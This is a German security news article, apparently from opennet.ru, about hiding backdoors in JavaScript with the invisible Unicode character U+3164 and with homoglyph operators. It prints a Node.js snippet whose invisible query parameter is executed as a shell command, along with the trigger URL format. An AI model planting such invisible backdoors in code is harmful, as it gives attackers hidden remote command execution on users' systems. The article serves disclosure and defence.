Verwendung unsichtbarer Unicode-Zeichen zur Verschleierung von Aktionen im JavaScript-Code

Nach der Trojan Source-Angriffs-Methode, die auf der Verwendung von Unicode-Zeichen basiert, die die Anzeigereihenfolge von bidirektionalem Text ändern, wurde eine weitere Technik zur Einbettung versteckter Aktionen veröffentlicht, die für Code in JavaScript anwendbar ist. Diese neue Methode basiert auf der Verwendung des Unicode-Zeichens „ㅤ“ (Code 0x3164, „HANGUL FILLER“), das zu den Buchstaben gehört, aber keinen sichtbaren Inhalt hat. Die Unicode-Kategorie, zu der dieses Zeichen gehört, ist seit der Spezifikation ECMAScript 2015 für die Verwendung in Variablennamen von JavaScript zulässig, was es ermöglicht, unsichtbare Variablen oder neue Variablen zu erstellen, die sich nicht von anderen Variablen in beliebten Code-Editoren wie Notepad++ und VS Code unterscheiden lassen.

Als Beispiel wird Code für die Node.js-Plattform angegeben, in dem durch eine Variablen, die aus einem Zeichen „ㅤ“ besteht, ein Backdoor verborgen ist, das es ermöglicht, den vom Angreifer angegebenen Code auszuführen: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // tatsächlich steht hier „const { timeout,ㅤ \u3164}“ const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ // nach dem Komma folgt das Zeichen \u3164 ];

Auf den ersten Blick wird über den externen Parameter nur der Wert timeout übergeben, während das Array mit den auszuführenden Befehlen eine harmlose, feste Liste enthält. In Wirklichkeit wird jedoch nach der Variablen timeout einem weiteren unsichtbaren Parameter mit dem Zeichencode \u3164 ein Wert zugewiesen, der ebenfalls im Array der ausführbaren Befehle ersetzt wird. Auf diese Weise kann ein Angreifer bei der Verwendung einer solchen Konstruktion einen Request im Format „https://host:8080/network_health?=Befehl“ senden, um ein Backdoor zu aktivieren und seinen Code auszuführen.

Als weiteres Beispiel wird das Zeichen „ǃ“ (ALVEOLAR CLICK) angeführt, das verwendet werden kann, um die Anzeichen eines Ausrufezeichens zu erzeugen. Beispielsweise wird der Ausdruck „if(environmentǃ=ENV_PROD){“ bei Ausführung in Node.js 14 immer wahr sein, da dabei keine Unterschiedsprüfung stattfindet, sondern der Variable „environmentǃ“ der Wert ENV_PROD zugewiesen wird. Zu den irreführenden Unicode-Zeichen gehören auch „／“, „−“, „＋“, „⩵“, „❨“, „⫽“, „꓿“ und „∗“.

Quelle: opennet.ru